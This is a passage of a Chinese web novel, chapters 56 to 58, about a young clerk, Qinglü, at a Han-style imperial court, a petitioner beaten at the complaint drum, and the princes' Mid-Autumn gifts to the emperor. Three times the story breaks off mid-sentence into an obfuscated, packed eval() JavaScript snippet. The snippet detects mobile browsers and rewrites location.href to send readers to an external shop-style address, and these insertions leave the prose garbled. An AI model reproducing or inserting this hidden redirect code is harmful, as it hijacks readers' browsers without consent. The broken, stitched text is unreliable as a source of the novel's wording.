众宫人不约而同在脑袋上方写下一个大问号:小姑娘疯了么?想要绿绮?这绿绮琴,日常除了伴奏,连萧舍人都不能轻易触碰。 不料刘睿一笑,对青绿道:“真想要,也不是不可以。” 青绿拼命摇头:“君子不夺人所爱,我不会弹琴,要‘绿绮’作甚?”顿了顿,补充表白,“我只取所需,从不狮子大开口。” 刘睿脸露骇怕状:“连‘绿绮’都不入你的眼,你想要甚?” 青绿瞧着他的脸色,可怜巴巴道:“答应出席及笄礼。” 刘睿笑得一脸灿烂:“那不能够。” 青绿小脸瞬间一黑。 刘睿装作没看见,转头对马璨璨道:“自个寻些冰块敷敷得了,些微小事非得兴风作浪。” 他深深看了萧文渊一眼:“这便是你管理的后院?你们二人,各罚半年俸禄。” 然后笑着对青绿道:“我给你存了好些玫瑰酥。”迈开长腿朝书房走去,又加一句,“寻思着,你再不来便拿去喂狗了。” 青绿本已屁颠屁颠跟在他身后,闻此言,小脸黑得透透地停下了脚步。 刘睿大笑,回头一把拽住她的小细胳膊:“走吧,别装了。” 青绿不挪步,原地摆烂:“不走,除非你答应我一个条件。” 刘睿神情愉悦,却又斩钉截铁道:“不答应。” 青绿见条件尚未提出便胎死口中,狠狠摔开刘睿的手,翻了一个十方白眼,回身便走。 刘睿脸含得意之色,好整以暇地看着她走到门口,方徐徐开口:“若是两个条件,还勉强考虑。” 青绿止步回头,小跑到他跟前,展颜笑道:“第一件,我与同窗钟离梨许久不见,今既在此偶遇,求殿下小哥恩典,许我们叙叙旧。” 刘睿笑道:“难得你想与人诉说衷肠,准了。” 青绿不失时机顺竿子往上爬:“另一件么?先存着,我还没想好,想出来再说。” 身后众宫人眼珠子齐刷刷落了一地,这都行? 百炼钢也好绕指柔也罢,似乎都敌不过不按规矩出牌的凡小二。 马璨璨呆若木鸡,忍不住凑到萧文渊跟前:“姐姐,这丫头不过一个主簿而已,为何殿下如此宠她?”恨恨地脑补了一下,“不对,难道是陛下在宫外私养的公主?”脑回路歪得有些离谱。 萧文渊淡淡地瞥了她一眼,脸上云淡风轻,心里却在偷着乐:马璨璨终于在公子面前露出了绿茶本茶面目。 她没少吃马绿茶的暗亏,但凡马璨璨在刘睿面前表露委屈,他便认为她们在宫斗,要么呵斥要么不问缘由拂袖而去,他对这些女人之间的小心思极为厌恶。 随后会有一小段时日萧文渊都得小心翼翼行事,这也是马璨璨乐此不疲、屡屡挑起事端的原因。 其实以萧文渊的学识及胸襟,实在不想也不屑于宫斗,她曾与马璨璨坦诚交谈,试图让马璨璨明白,二人在后院分高低并无任何意义。 无奈马璨璨将她视为唯一的竞争对手,态度十分明确地表达了自己的妒妇心态:你一个东宫舍人能随殿下出入上下,我贵为妃子却只能在宫中望眼欲穿,我不爽你也别想好过。 56.第五十六章 奏折 青绿告别钟离梨,从东宫回到兰台,已到下值时辰,与阿四出了北阙,见左侧的登闻鼓前围了一大群人。 登闻鼓为有冤情或急案者而设,但基本上无人敢擂鼓,原因是擂鼓者先得承受杖责二十,才能递上状纸。非天大冤屈、无其他渠道、立着必死决心者,也不敢擂鼓,故登闻鼓基本上属于摆设。 青绿让阿四去取马车,她自己挤进人群去看是何人如此不要命?一看之下,倒抽了一口冷气,却是一名脸色蜡黄、衣衫褴褛的十二三岁小姑娘,纤瘦的身板,似乎一阵风便能将她刮倒。 北阙又称北司马门、公车门,由卫尉属下的公车令执掌。 此刻,公车令付玦正对着小姑娘,满目威严道:“濮阳戚秒,本官明确告知你击鼓规矩,你真要击鸣冤鼓,先要接受杖责二十,生死自处,然后有司官员接下你的状纸,呈送皇帝陛下。” 小姑娘戚秒双手将一轴长卷举过头顶,身子抖得筛糠似的,眼底却充满了坚定之色:“戚秒击鼓鸣冤,万死不辞。” 围观众人纷纷劝她:“小姑娘,万万不可,你有何冤状,到朝廷的衙门递交便是,廷尉府离此也不远。” 戚秒惨切道:“爹说,廷尉府不接地方状纸,他什么办法都试过了,状纸都被衙门狗官压下了,唯有敲登闻鼓才能直达天听。” “你爹呢?他怎不来?让你一个小姑娘来受这份罪。” “爹死了,我得完成他的遗愿。”戚秒泪流满面。 众人唏嘘。 付玦面无表情道:“请光禄大夫常帅宁接过状纸。” 便有静立一旁的一名中年男子上前,接过戚秒手中的长卷。 付玦威严道:“传令,施杖二十。” 两侧衙役齐声应诺,两名衙役抬出一张长凳,将戚秒按伏于凳上。 戚秒紧闭双眼,一副决绝神态。 付玦掷签下令:“用刑。” 衙役高举手中长约六尺、广二寸的木板上前便要打下。 青绿不忍卒看,冲开围观人群走到付玦跟前道:“付大人,不能打,她年纪太小,会出人命的。”掏出令牌递给他。 付玦年近五十,面容方正饱满,额头宽阔,浓眉大眼,抿成一条直线的厚唇透着严谨刻板。 他接过令牌审视一番,交还给青绿:“凡主簿,规矩便是规矩,任你是何人也得遵守。”一声冷喝,“用刑。” 衙役手中木板带着呼啸声,“啪”地一下落在戚秒大腿根部,顿时有血迹浸出。 戚秒痛极弓身,发出一声无力的哀嚎,几近晕厥。 常帅宁冷着脸对青绿,实际是对围观众人道:“此规,是防范鸡毛蒜皮者皆敲登闻鼓之劣行。” 看到衙役再次举起板子,青绿来不及多想,转身扑到戚秒身上,生生替她接了一板。 所有人都被这突如其来的变故惊呆了。 衙役看向付玦,高举的木板迟迟不敢落下。 一阵令人窒息的沉默,青绿脑子飞速转动起来,猛然间,她朗声道:“停。戚秒不敲登闻鼓。” 戚秒挣扎着抬头看向青绿,虚弱而坚定道:“姐姐,就算我被打死,也要敲登闻鼓。” 青绿斩钉截铁道:“我领你去递交状纸。” 她起身走到付玦跟前,沉声道:“戚秒的状纸若是直接递交到兰台,是否就不用敲登闻鼓了?” 付玦与常帅宁对视一眼。 常帅宁道:“状纸我们接下了,算不算敲登闻鼓,公车令说了算。” 付玦看了一眼戚秒,似乎动了恻隐之心:“既然如此,便算是经兰台递交的吧。” 青绿施礼:“凡青绿替戚秒谢过付大人。” 四周响起一片热烈掌声。 青绿扶起戚秒,对她道:“常大人已经接下了你的状纸,他会直接呈送皇帝陛下。你现在往何处去?在京中有亲人吗?” 戚秒两腿颤抖着几乎站立不稳,摇摇头:“我跟爹一起来的,爹前几日因病去世了。” 青绿道:“我是兰台的凡青绿,你唤我凡姐姐。我现在送你去官府安置孤儿的义养堂,你先养好伤,然后回老家或是留在京师,到时再说。” 戚秒流泪道:“谢谢凡姐姐”,便要下跪。 青绿忙扶着她:“好好活着,一有消息我便告诉你。” 翌日,青绿才进书房,便有一名男子紧跟着走了进来。 青绿施礼道:“南门曹掾早。” 男子生得牛高马大,身长超八尺,双拳如钵,双脚如船,浓眉大眼,高鼻厚唇,自带满满的威慑力。 他复姓南门,名蚜,行武出身,性格豪放,握笔如同握刀,字写得很是大刀阔斧。现为下曹曹掾。 下曹负责监察地方官员,整理刺史呈报的图籍计簿并作出判断及结论。 说来好笑,青绿刚到兰台不久,一名高大男子来借秘籍,青绿看着他龙飞凤舞力透纸背,在借阅签名栏处写下“南”字,便有礼貌地称呼:“南大人。” 他愕然抬头,青绿知道自己造次,忙抱歉地欠欠身。 高大男子又写下“门”字。 青绿连忙讨好地改正称呼:“南门大人。” 南门继续用力挥毫,在登记本上写下“虫牙”二字。 青绿好心提醒道:“南门虫牙大人,此秘籍只可在书房阅看,不可带回宿庐。“ 南门又愕然抬头看她,目光颇为诧异,随后一掌拍在桌上,震得桌上的文房四宝不停地跳动,旋即好奇地问:“凡主簿,你不识字?” 青绿求生欲望强烈,马上违心更正:“南门蚜曹掾。” 看着他高大的背影,青绿腹诽:你写字自由搭配偏旁部首,怪我喽,拍案虫牙。 南门蚜回礼道:“小凡主簿,董中丞让你过去。” 青绿一听,高兴道:“这就去。” 她方才还在想,要马上将昨日戚秒敲登闻鼓的事向瓜老头汇报。 无论大小事,只要涉及案件,她都自觉向上司汇报,这是在衙门做事的基本要求。但一想到要独自面对瓜老头,心里就有些发怵,南门蚜来得正好。 青绿和南门蚜恭谨地在瓜老头对面的椅子上坐下。 瓜老头将手上的奏本递给南门蚜,阴沉着脸道:“光禄大夫常帅宁的密奏,尚书台送来的。” 朝廷带“大夫”的官职多隶属于光禄勋,如光禄大夫、太中大夫、谏议大夫、中散大夫等,无固定员额,为皇帝近臣,掌议论,可直言进谏。大夫又以光禄大夫最显要,九卿多由光禄大夫升迁而来。 青绿十分自觉地打坐,并未凑过去看。在做人做事上,她的边界感十分清晰,何时要将上司当上司,何时只当其为普通人,她拿捏得十分到位,或许这也是她在胖瘦两位大佬的高压下得以立足的原因吧。 当听到常帅宁及濮阳等字眼,想着奏章内容应该与戚秒冒死呈上的状纸有关,青绿心里松了一口气,也不枉戚秒挨了一板子,果然诉状能上达天听,且仅仅过了一夜,带着朱批的奏章就送到了兰台。 瓜老头道:“常帅宁弹劾风信子,我记得他与你是同门师兄。” 南门蚜道:“是,当初下官与他师从山尚学宫的墨家大师邸行健,后又一同考入太学。” “他原为水衡都尉,在宫内负责造船治水等,隶属少府。前年,东郡濮阳瓠子口河决,陛下发兵三万,命六殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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青绿忙将昨日戚秒敲登闻鼓之事说了一遍,末了道:“我问过戚秒,可知状纸内容?她说爹从未对她说起。”甚为不解,“师傅,冒死却不为自己申冤,此是为何?” 瓜老头的声音如冬日寒冰:“收了银子帮递状纸。” 南门蚜嗡声嗡气道:“果真如此,家里必然遭了大难。” 青绿点头道:“戚秒说,哥哥之前被投入大牢,娘又身患重病,所以只有她随爹进京。”心里十分难过,小小年纪,拚了性命却是在替别人递状纸。 瓜老头对南门蚜道:“你牵头核查‘治河谒者贪墨案’。先在京收集相关资料,千秋节后,去濮阳。” 南门蚜毫不含糊道:“遵令。”踌躇片刻,“下曹的御史都有任务在身,可否向上曹借用一二?”兰台规定,御史不能单独办案。 青绿未及合上奏章,便听瓜老头以不容反驳的语气道:“带上这丫头。” 南门蚜看看青绿单薄的小身板,皱眉道:“带她作甚?遇危险还得分身护她。” 青绿热血上头,恨恨白了他一眼:“还不知道谁护着谁呢。” 她已开始跟阿四练剑,自恃有一明一暗长短剑的技术活,砍瓜切菜不成问题。 瓜老头阴郁地看她一眼:“知道自己去做甚?” “查案,核实奏章内容的真伪。”青绿扬了扬手里的奏章。 瓜老头鼻子里“哼”了一声,不屑道:“那些个玩艺用不着堂堂主簿亲自核实,让你去,是查这背后的一切。” “背后的一切。”青绿若有所思。 57.第五十七章 中秋 秋风生渭水,落叶满长安。 今年皇家中秋节拜月仪式,在常用于祭祀的甘泉宫举行。 甘泉宫规模仅次于未央宫,位于长安城西北。宫内殿宇巍峨、雕梁画栋,楼观连绵,邸舍百余间,尤以高达三十余丈直入云天的通天台为最,登台远眺,浮云缭绕于足下,长安城宫阙隐约可辨。 宴席摆在甘泉山腰的仙草园。 临时搭建的露台,没有金漆雕龙的宝座,只是一场简单而温馨的家宴,帝后面对层峦叠翠的群山席地而坐,分列两旁的是有妃位的妃子、公主及皇子,各人面前一张小几,琥珀酒、碧玉觞、金足樽、翡翠盘,食如画、酒如泉。 高台前,莺歌燕舞,衣袂飘飘;鸣钟击磬,乐声悠扬。 当朝天子刘芳的寿辰很巧,中秋之日,千秋节加上中秋节,举国同祝,万民同欢。 刘芳当年从先帝手上接过的江山,因连年征战早已千疮百孔,民生凋敝。他对内实施仁政,轻徭薄赋,废除酷刑;对外则采取和亲政策,避免烽烟再起,百姓遭殃。经过近三十年的韬光养晦,大汉经济得到大力发展,公私仓廪俱丰足。 刘芳生活并不奢侈,对于帝王而言甚至可以说是相当节俭,即位以来,没有新盖宫殿、新设园林,甚至亲自带领大臣们下地耕种,皇后也率宫人采桑养蚕,百姓皆赞其圣明仁德。 百姓丰衣足食,自然感恩天子,故每年两节合一节的时刻,均自发庆贺,长安城内外张灯结彩、舞狮放炮、载歌载舞,喧闹非凡。 七公主刘颂雅今日造型像极了一片秋日红枫,一身火红绸缎包裹,头上繁复精致的千丝绦,用薄如羽翼的大红纱扎着几个小小的蝴蝶结,稚嫩的小脸上点着两块腮红,更显得粉雕玉琢。 她从后悄悄靠近刘芳,捏着一颗剥壳的山核桃仁朝他嘴里塞。 刘芳条件反射地头朝后一躲,待看清是七公主,眉开眼笑地张嘴一口吃下。 在座所有的皇子公主,唯有七公主在他面前无拘无束。 几名成年皇子,刘意、刘白、刘纯、刘璃、刘莲、刘睿均正襟危坐,未成年的刘布、刘铭也甚为拘谨,倒不是刘芳有多严厉,而是从小母妃便教导他们在父皇面前要显出自己最好的一面,使得他们在刘芳面前总有些谨小慎微。 刘芳咀嚼着核桃仁,也一并咀嚼着天伦,品味着亲情。他含笑环视一圈在场成员,兄友弟恭,兄妹友善,不由感慨万千,他像一个勤快细心的工匠,兢兢业业编织着大汉盛世,才换来今日歌舞升平,大家小家,他都期望平安和睦,江山世代相传。 他目光看向身旁的皇后李楚瑶,心怀感激,若无她倾力维系后宫安稳,何来前朝的清明顺遂?虽已为皇家诞下三个孩子,她的容貌仍无甚改变,眉眼流光,肌肤胜雪,温婉娴雅,仪态万方,尽显母仪天下的沉稳华贵。 刘芳满目温柔,眼神带着悠远的迷离。 那是一个春日,雨后初晴,树上的嫩芽绿如翡翠,湿润的空气里满是甜丝丝的清新,刘芳从锦安坊出来回未央宫,错进了一个静谧的胡同。 胡同尽头是一座深宅大院,六级台阶的门槛上坐着一名七八岁的小女孩,精致小巧的杏仁脸,淡淡蛾眉下,一双大大的杏眼,乌黑的瞳仁黑白分明,澄澈干净。 小姑娘便那样安安静静地坐着,小手撑在膝盖上,托着粉嫩如玉的小腮帮举头望天。 刘芳从来没有见过如此漂亮的小女孩,不由走过去在她身旁蹲下,柔声问道:“小妹妹,你在看甚?” 小女孩将视线从天上缓缓落到他脸上,张开薄薄的红润小嘴轻声道:“小妞的哥哥带小妞去捉泥鳅了。” 春天的泥鳅多而肥美,抓着了也能滑溜溜地从指缝间溜走,刘芳儿时每每参加完皇帝籍田礼后,便与皇兄皇弟满地里扑腾抓泥鳅,滚得满脸满身泥巴只露出一双眼睛,晾干后放进土窑估计也没人怀疑不是叫化鸡。 刘芳心驰神往,不由嘴角微翘。 他看着小女孩的一双秋水眸子,长长的睫毛微微颤动,听她开口道:“大哥哥好不好,咱们去捉泥鳅?” 刘芳的心瞬间被她那句“大哥哥”萌化,竟不避拐骗幼女之嫌,拉起小姑娘柔荑般的小手,慷慨应道:“走,大哥哥带你去捉泥鳅。”那情形,似乎是在答应给她整个天下。 这名天真烂漫的小姑娘便是李楚瑶,侍中李功略的嫡长女。 此刻,李楚瑶正静静地看着前方,刘芳顺着她的视线看去,但见连绵不绝的群山,五彩斑斓,层林尽染,金黄、枫红、深绿、嫩黄、渐变红……宛若大地打翻了调色盘,晕染出峰林之间一幅绝美的山水画卷。 刘芳的视线落回李楚瑶身上,再美的景色都不及皇后的半分颜色,他禁不住体内一阵燥热。 每月的初一、十五两日是帝后同寝的日子,他近段时日渐觉身子虚浮,已连着几日没有翻妃子的头牌,但今夜中秋,他仍想给皇后最好的自己。 皓月当空,天地一片清明。 一样的月光,一样的照着约素园。 偌大的约素园显得有些冷清,凡不凡在未央宫当值,凡雪霁在甘泉宫过节,凡非凡日前捎了口信说争取赶在中秋前归家,估计是争了但没取成,府里的主子便只有青绿及凡高。 妹娘与青绿商量,今日干脆不办席了,留待十六日青绿的及笄礼再一同庆贺。青绿自然点头赞同。故妹娘只是备了月饼水果等几样贡品,象征性地拜了拜月娘。 安静如斯的约素园中秋夜,让青绿倍感寥落。 青绿没有走失之前,完全是另一番景象。她的生辰为八月十六,所以到凡府与凡丞相一同赏月的至交好友,会提前给她祝寿,凡府也是连着十五、十六两日摆席,府中人来车往,甚是热闹。 不管何人祝寿,青绿全都敷衍地朝来者欠欠身行个礼,收下礼物转手便递给跟随的奶娘,然后倾全力对付手上的吃食。 小北跟在她身后,小大人似地一遍遍规劝:“姑娘别吃了,看吃撑了肚子疼。” 青绿噘着小嘴哼哼:“我不趁今明两日多吃些,过后又得受节制。” 她在凡府女孩中排第二,家人按齿序称她小二。或许是上有兄姐下有弟弟的缘故,娘管她不甚紧,基本是放养状态,故她成长得无拘无束,想吃吃想睡睡,胖乎乎的小圆脸上一双清水眸子被挤成了小三角,娘便说她吃得太多,联手妹娘节制她的肉食点心。 小北尽职尽责道:“姑娘再吃一口,就吃成个胖子了。” 青绿看看左右无人,将一盒玫瑰鸡油酥递给小北:“拿回我卧房藏好。” 小北接过来,小声劝道:“姑娘,能藏吃食的地方都堆满了,被奶娘搜出来又要告到夫人跟前。” 青绿还未及说话,凡雪霁突然出现,吩咐跟着自己的丫鬟,“诗天,回了妹娘,好好把小二的屋子搜一搜,看藏了多少吃食。 青绿气呼呼地朝诗天翻白眼:“你敢?” 诗天侧身行了一礼:“但凭大姑娘吩咐。” 青绿狠狠地一跺脚:“我告诉娘去。”带着小北迈着小短脚飞奔回住处,她要赶在妹娘派人来搜索之前转移藏品,能转多少算多少。 小北傻乎乎地追着她喊道:“姑娘,错了,夫人不在春松阁。” “我说在,便在。”青绿来不及向憨小北解释。 满院桂花清香,清冷的月色裹着青绿层层叠叠的思绪。 她眼前闪过爹娘围桌笑谈的模样,心底掠过一阵悲凉:来不及说再见,却再也不见。 翌日,天未放亮,青绿便起床了。七竹嬷嬷的事、管胖子的事、再加上一个“治河谒者贪墨案”,令她睡得极不踏实。 她也明白,七竹嬷嬷不可能那么快离开永巷,管胖子的安全也无须担心,但想到自己参与了核查“治河谒者贪墨案”,节后将离开京师,且一走便是三五个月,心里不踏实,干脆去一趟兰台,哪怕呆半日也会安心些,顺带理一理治河案资料。 未央宫比往日安静了许多,主子们都去了甘泉宫,留守的宫人宦者亦乐得偷闲。 兰台静悄悄的,青绿进了书房,关门坐着发了一会呆,觉有些闷,便起身打开窗子。 一阵宫人的嬉笑声远远传来。兰台虽是一座独立宫殿,但离石渠阁及北面的作室门不远,穿过这边小道的人不少。 听着是三名宫人的声音: 一个问:“你们可知,昨夜殿下和公主都献了什么寿礼?” 一个道:“听说七公主献的是一个‘亲亲’。” 另一个问:“什么是‘亲亲’?” “七公主在陛下额上吻了一下,说她的‘亲亲’可使陛下延年益寿,陛下开怀大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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牛宙头也不抬,不以为然道:“瓜老头今日陪陛下去木兰围场狩猎。”看一眼骤然紧张的小湖,“我说你别一提董中丞便吓成那样,他又不吃人,他可好养了,只吃黄瓜,想想,吃素的人能凶到哪去?便有人告到他那里,不过扣一个月俸禄罢了。” 兰台有规定,盗取宫中的花鸟鱼虫、果木草蔬者,罚一个月俸禄,这叫啥?叫其身正,不令而行。 青绿想提醒他,但一见瓜老头阴得能滴水的脸,便默默闭嘴。 牛宙仍在喋喋不休地信口开河:“中秋黄瓜最是鲜嫩多汁,唉,如果能向他讨几个黄瓜便好了,真想他此时此刻便在此处。” 他拍拍手站起身来,看见小湖及石头如遇鬼魅般的表情,意识到了什么,猛然回头,怼到眼前的一张干瘦老脸上,吓得他一哆嗦,手上的钓竿啪地一声摔在地上。 牛宙一时无地自容,如同□□内某个非主要部位痒痒,想挠又怕被人误会,找准机会在背人处将手伸进去的一瞬间,偏被人撞个正着,那情形简直不要太尴尬。 他狼狈不堪道:“瓜中丞,董老头,不,董中丞大人,我不是要去钓鱼,我是想去钓、钓鸟。” 瓜老头冷冷地呵呵两声,两眼翻白:“鱼竿钓鸟,有创意。” 牛宙硬着头皮道:“嘿嘿,我昨夜一宿没睡想出来的好办法,鱼竿不仅能钓鸟,还能粘知了,从前不是有个粘竿处么。” 瓜老头冷笑着朝东院走去:“你倒是粘一只鸟给我瞧瞧。” 牛宙自认倒霉,提着钓杆耷拉着脑袋跟在他身后。 青绿看瓜老头阴郁的脸无放晴的迹象,便又将身子朝树后隐了隐。 不料瓜老头鹰隼般的目光朝她这个方向扫了一眼:“要下帖子请么?” 青绿只得乖乖现身。 倒把牛宙吓了一跳:“主簿妹妹,除了你还有何人?” 青绿耸耸肩:“母鸡啊。” 瓜老头书房,青绿与牛宙正襟危坐于他对面。 青绿有模有样地拿着纸笔准备记录,却禁不住悲哀地想:此时在床上睡回笼觉不香么? 瓜老头面无表情地对牛宙道:“说说吧,昨夜皇子公主们的贺礼。” 青绿心里咯噔一下:师父也感觉皇子们所献礼物不寻常了? 58.第五十八章 礼物 青绿看着牛宙,先前还惴惴不安,一听瓜老头是想打听皇子公主们所献贺礼,神情立马松弛下来,笑嘻嘻道:“下官一定知无不言。” 他虽其貌不扬,却是个自来熟,也不摆谱,便连无品级的宫人宦者见了他,都敢凑到他跟前唤一声“牛哥”,故他消息来源十分广泛。 若说未央宫是个八卦池,他便是池底深藏不露的漩涡,所有八卦包括碎片均被他卷入怀里。 瓜老头给了他一个无半点黑珠子的眼白。 牛宙立马恢复了正襟危坐,身体微向前倾,讨好地问:“下官先从七公主说起?” 瓜老头抬了一下眼皮。 牛宙咽了一口唾沫,斟字酌句开口道:“昨夜,皇子与公主按年龄从小到大依次献上贺礼。七公主刘颂雅所献,乃一个‘亲亲’,两瓣红唇印在陛下前额上,陛下极开心,带着‘亲亲’至赏月结束,七公主获赏在后宫随时觐见。” 青绿脑补一下画面,微微一笑。 牛宙继续道:“八殿下刘鸣所献,乃陛下爱吃的雪花乳酥。说是母妃教他做的,陛下很高兴,赏其母妃虞美人回家省亲。”顿了顿,“七殿下刘布所献,乃一柄金累丝万年如意。上有用绿松石所嵌‘万年’二字。” 瓜老头皱了皱眉。 牛宙嘴角噙着浅淡笑意:“陛下皱眉,对其母妃沈美人说:‘布儿尚未成年,不应这么破费。’”对青绿解释,“沈美人为东夷公主,娘家实力雄厚。” 青绿摇头道:“贺礼不在于厚薄而在于心意,七公主只是一张小嘴,便哄得陛下老怀大慰。” 牛宙点头:“陛下给七、八两位殿下各赐了一套银制九连环。” 牛宙的八卦很有水平,不但有叙事,还有点评,但陛下儿女十五位,如此轮番讲完得花多少功夫?瓜老头不听到耳聋,他也讲到口哑了。青绿甩了甩手臂,她负责记录,手累。 牛宙似乎了解她的想法,便先把其余六位公主的贺礼打包讲了:“六位公主,除和亲的静慧公主薨逝外,静华、静昭、静和、静婉、静宜等五位公主所献,均是其封地的贵重物件,陛下连说‘回来便好’,也是各有赏赐。” 牛宙伸手去拿茶杯。青绿此时才想起,忙拿起茶壶,给每人倒了一杯茶。 牛宙一口气把茶喝完,继续八卦。 六殿下刘壑的贺礼最为精心,亲自用陛下赏赐的绿绮琴弹奏自己谱写的《恩泽》。宫人在月色之下、天籁之音中翩翩起舞,马璨璨领舞,高潮处,萧文渊弹奏,刘睿持长剑跃入其中即兴舞剑,琴音剑舞,青衫仗剑,配合得天衣无缝。当场获赏夜郎国进贡的一把名剑“朗逸”。 五殿下刘莲所献,乃一幅亲手所绘兰花图。提诗“中秋”,其中两句“兰月上下两婵娟,人在花间月在天”最为应景,获赏一套文房四宝;其母妃向经娥获赏馨苑附近的荷园。向经娥素喜兰花,馨苑是她专属的兰园。陛下恩准两园并一园。 四殿下镇南将军刘璃所献,乃一面南越国的翔鹭纹铜鼓,亲自擂鼓,鼓声古朴清越,甘泉宫周边群山回声不绝于耳。获赏一面铜制盾牌。 三殿下刘纯所献,乃杂耍艺人献艺。那艺人柔弱无骨,四肢能随意扭转。一个仅能让三岁幼童容身的匣子,侧面开孔,艺人竟能从孔钻进匣子,再伸手出来将匣顶上的锁打开。 皇后不悦,说是歪门邪道;刘纯很难过,说往年献美人,母后嫌没新意,如今有新意又说非正道,质疑自己非皇后亲生;陛下打圆场,说好歹都是心意。 刘纯获赏一名舞艺绝佳的胡姬。 二殿下刘白所献,乃缂丝织造的皇帝御真。缂丝素有‘一寸缂丝一寸金’和‘织中之圣’之称,向来用以织造帝后服饰,此番系首次用于御真织造。其成品竟较宫廷画师所绘更为逼真,不仅勾勒出陛下俊朗形貌,更传神再现了大汉天子睥睨天下的神韵。刘白获赏一套绝世《太公史书》。 说到大皇子镇西将军刘意,牛宙加重了语气:“大殿下刘意所献,乃虎符。他跪地双手高举虎符道:‘儿臣镇守西域这几年,虽战事频繁,但都以挑衅者的失败告终,如今西线无大的战事,儿臣也该卸甲归田告老还乡,在父皇母后跟前尽孝。此是虎符,请父皇收回。’” 瓜老头锐利的目光陡然落在他脸上:“刘意当真献出虎符?” 牛宙点头道:“是。陛下也是十分意外,没接他的虎符,而后笑骂‘再提告老还乡,便将你降为校尉发配北境’。刘意获赏黄金千两。” 瓜老头起身走到窗前,静静地望向窗外,陷入沉思。 牛宙对青绿耳语:“主簿妹妹,以我多年的官场生涯经验,不怕六亲不认地训斥下属的上司,最怕不吭声的阴险狗官,你不知他在想甚?不知何时触了他的霉头被扣俸禄。” 青绿感同身受,点头。 瓜老头回头扫了他们一眼。 牛宙试探道:“中丞大人,尚有一事。” 瓜老头目光落在他脸上:“说。” “昨夜陛下与皇后共寝,尤花殢雪,中常侍曾一鸣三次提醒‘陛下保重龙体’,被陛下赶出寝宫。负责记录陛下行房的右史,一宿不曾合眼。” 陛下身边设左、右史,左史记言,右史记事。左、右史每日寸步不离跟着陛下,记录他的一言一行, 瓜老头眉头皱成了川字型。 牛宙嘴贱,嘀咕道:“都说皇帝睡妃子出工不出力,昨夜的帝后怎么说?话说,这皇帝有甚好当的,连房事都是政事。” 青绿不解地瞪大了眼眸。 瓜老头横了二人一眼:“滚。” 青绿与牛宙一齐起身施礼告退。 牛宙吞吞吐吐对瓜老头道:“中丞大人,能否将下官言无不尽折算为功,补钓鱼贪念之过,不扣下官俸禄,毕竟下官仅为犯罪未遂。” 青绿看到一滴汗珠从他聚拢的眉心顺着鼻梁慢慢朝下滑落。 “可以免扣一个月俸禄。”瓜老头冷冷道。 牛宙一阵狂喜,“谢”字才出口,一句更为戳心窝子的话便从瓜老头嘴里蹦了出来:“改为扣俩月俸禄。” 牛宙狼狈逃出书房,一巴掌朝自己头顶拍下:“自作孽不可活。” 青绿看着他鼻头上的汗珠终于流到下巴,滴落地面摔成了八瓣,忍不住笑了起来:“卑职对牛曹掾的遭遇深表同情。” 青绿眼珠子一转,拉住牛宙的袖子问:“最近后宫有何八卦?” 牛宙摇摇头:“能有甚,都在忙着千秋节,有事也是到节后再办。” 青绿失望地摇摇头:“节前便不用做事了?” “为着筹备千秋节,后宫都忙成狗了。主簿妹妹想知道何事?牛哥帮你留意便是。”牛宙热心道。 “没,没有。”青绿忙摇头,心里有些失落,看来今日无法知道更多的消息了,怏怏离开兰台。 青绿的马车刚到约素园门口,在大门处翘首以盼的小北长吁了一口气:“姑娘再不回来,奴婢便入宫寻姑娘了,姑娘可记得今日办及笄礼么?” 青绿道:“及笄礼午时初刻举行,现巳时还没到,早着呢。且万事有妹娘操持,到时我露个脸便可。” “妹娘让姑娘先见一见参加及笄礼的宾客。” “去春松阁。” 春松阁院门外,一群丫鬟仆妇正交头接耳、窃窃私语。 “好个美人,比画上的嫦娥还好看,与咱家皇子妃姐姐不相上下。” 一名小丫鬟道:“我倒觉着比皇子妃还好看些,看着仙仙的。” 一名粗使婆子道:“你个小人便不明白了,身子太弱,凡府如何靠她开枝散叶。” 小北跨前几步斥道:“何时府里兴起说主子的闲话了?翌日回了妹娘,全都卷铺盖走人。” 众人顿时噤若寒蝉。 青绿一踏进大厅,看见妹娘、大哥、雪霁姐均在。 妹娘看见青绿,招手笑道:“快进来,见过你丫丫姐。” 一名正侧身与凡雪霁说话的女子,闻言扭过头来看向青绿。 一袭白色娟纱迤逦曳地长裙,身段纤长,柳叶眉,桃花眼,眼神似醉非醉,眉尖晕染着淡淡忧郁,举手投足间充满了江南烟雨的朦胧与温婉气息。 她缓缓起身,眼里满是疑问。 青绿亦有些发愣。 妹娘眼眶温润:“丫丫,这是小二,二姑娘。” 丫丫含泪迎上前来,拉着青绿的手,仔细端详她好一会,方哽咽道:“妹妹,你吃苦了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720114|185334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>青绿却有些不自在,打小她便与丫丫不对付。 因两家是世家,丫丫娘亲早逝,丫丫便常寄养在凡府,本来二人年纪相差不大,然青绿无拘无束、顽劣跳脱,与丫丫迎风垂泪的乖巧大相径庭,终究玩不到一处。且爹娘哥姐时常叮嘱青绿,说丫丫姐身子骨弱,该照顾着些,别一味只顾着自己玩耍。 青绿便很不服气:不应该是姐姐照顾妹妹么?怎地一牵涉到丫丫,爹娘便执行双标。 一次,三小人去偷后院的鹅蛋,被大鹅发现,青绿与小北跑得快,躲过大鹅攻击,丫丫逃不过,被几只大鹅围着上下其嘴狠啄。 